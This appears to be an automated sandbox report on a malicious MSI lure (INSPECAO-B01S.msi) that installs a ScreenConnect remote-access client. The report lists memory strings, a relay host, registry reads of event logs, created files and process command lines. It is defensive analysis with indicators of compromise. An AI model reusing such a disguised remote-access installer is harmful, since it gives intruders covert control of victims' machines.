                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://instance-xkznvd-relay.screenconnect.com:443/l
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://instance-xkznvd-relay.screenconnect.com:443/r
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://ocsp.digicert.com0
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://ocsp.digicert.com0A
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://ocsp.digicert.com0C
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://ocsp.digicert.com0X
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002002000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                  Source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1697090286.0000000004872000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.3.dr, Microsoft.Deployment.WindowsInstaller.dll.3.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.3.dr, Microsoft.Deployment.Compression.dll.3.drString found in binary or memory: http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/v
                  Source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1697090286.0000000004872000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.3.dr, Microsoft.Deployment.WindowsInstaller.dll.3.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.3.dr, Microsoft.Deployment.Compression.dll.3.drString found in binary or memory: http://wixtoolset.org/news/
                  Source: rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1697090286.0000000004872000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.3.dr, Microsoft.Deployment.WindowsInstaller.dll.3.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.3.dr, Microsoft.Deployment.Compression.dll.3.drString found in binary or memory: http://wixtoolset.org/releases/
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2944315809.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.2942897895.0000000012390000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.1.dr, ScreenConnect.WindowsCredentialProvider.dll.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe.1.drString found in binary or memory: http://www.digicert.com/CPS0
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                  Source: ScreenConnect.WindowsCredentialProvider.dll.1.drString found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
                  Source: ScreenConnect.Core.dll.3.drString found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
                  Source: svchost.exe, 00000008.00000003.1757539471.0000017F930F2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.drString found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
                  Source: edb.log.8.drString found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
                  Source: edb.log.8.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2
                  Source: edb.log.8.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
                  Source: svchost.exe, 00000008.00000003.1757539471.0000017F930F2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
                  Source: svchost.exe, 00000008.00000003.1757539471.0000017F930F2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.drString found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
                  Source: edb.log.8.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49820
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49820 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50015 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50015
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745

                  Spam, unwanted Advertisements and Ransom Demands

                  barindex
                  Reads the Security eventlog
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnectJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnectJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnectJump to behavior
                  Reads the System eventlog
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnectJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnectJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnectJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_05F32280 CreateProcessAsUserW,6_2_05F32280
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\4c1432.msiJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\inprogressinstallinfo.ipiJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\SourceHash{87BA6F17-ED48-2213-B0B4-DE77D334918D}Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI15E7.tmpJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI1608.tmpJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI17AE.tmpJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\4c1434.msiJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\4c1434.msiJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\{87BA6F17-ED48-2213-B0B4-DE77D334918D}Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\{87BA6F17-ED48-2213-B0B4-DE77D334918D}\DefaultIconJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Windows\Installer\wix{87BA6F17-ED48-2213-B0B4-DE77D334918D}.SchedServiceConfig.rmiJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)Jump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\cksz2bob.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\cksz2bob.newcfgJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\blegu5ad.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\blegu5ad.newcfgJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\0hs00sh4.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\0hs00sh4.newcfgJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\hfe01imn.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\hfe01imn.newcfgJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\jfhfu5lw.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\jfhfu5lw.newcfgJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\3mrf34qd.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\3mrf34qd.newcfgJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\rs24xzl1.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\rs24xzl1.newcfgJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\1ot0kljn.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\1ot0kljn.newcfgJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\qf3laj4y.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3a24aebb8959bcfa)\qf3laj4y.newcfgJump to behavior
                  Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmpJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile deleted: C:\Windows\Installer\MSI1608.tmpJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_057285B06_2_057285B0
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0572A6F86_2_0572A6F8
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0572A6F86_2_0572A6F8
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_05F300406_2_05F30040
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_05F300406_2_05F30040
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B4123027_2_00007FFD9B412302
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B40703D7_2_00007FFD9B40703D
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B71701B7_2_00007FFD9B71701B
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B71901C7_2_00007FFD9B71901C
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B7104287_2_00007FFD9B710428
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B7236BD7_2_00007FFD9B7236BD
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B7169617_2_00007FFD9B716961
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B7213E07_2_00007FFD9B7213E0
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B71AEFD7_2_00007FFD9B71AEFD
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B72131C7_2_00007FFD9B72131C
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeCode function: 7_2_00007FFD9B7209F27_2_00007FFD9B7209F2
                  Source: INSPECAO-B01S.msiBinary or memory string: OriginalFilenameScreenConnect.InstallerActions.dll< vs INSPECAO-B01S.msi
                  Source: INSPECAO-B01S.msiBinary or memory string: OriginalFilenameSfxCA.dllL vs INSPECAO-B01S.msi
                  Source: INSPECAO-B01S.msiBinary or memory string: OriginalFilenamewixca.dll\ vs INSPECAO-B01S.msi
                  Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, PopoutPanelTaskbarButton.csTask registration methods: 'CreateDefaultDropDown'
                  Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ProgramTaskbarButton.csTask registration methods: 'CreateDefaultDropDown'
                  Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, TaskbarButton.csTask registration methods: 'CreateDefaultDropDown'
                  Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                  Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                  Source: ScreenConnect.ClientService.dll.1.dr, WindowsLocalUserExtensions.csSecurity API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
                  Source: classification engineClassification label: mal72.evad.winMSI@15/71@3/2
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)Jump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.logJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeMutant created: NULL
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeMutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
                  Source: C:\Windows\System32\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBC6.tmpJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBC6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4983906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                  Source: INSPECAO-B01S.msiStatic file information: TRID: Microsoft Windows Installer (60509/1) 57.88%
                  Source: unknownProcess created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\INSPECAO-B01S.msi"
                  Source: unknownProcess created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
                  Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 3B0D9CA4E13447273575F5AF2A2A458A C
                  Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBC6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4983906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                  Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 9498291156A768CDF30C7CBD1AD63E0B
                  Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A9BFA3C15C3C22AD10EB69C2707C2272 E Global\MSI0000
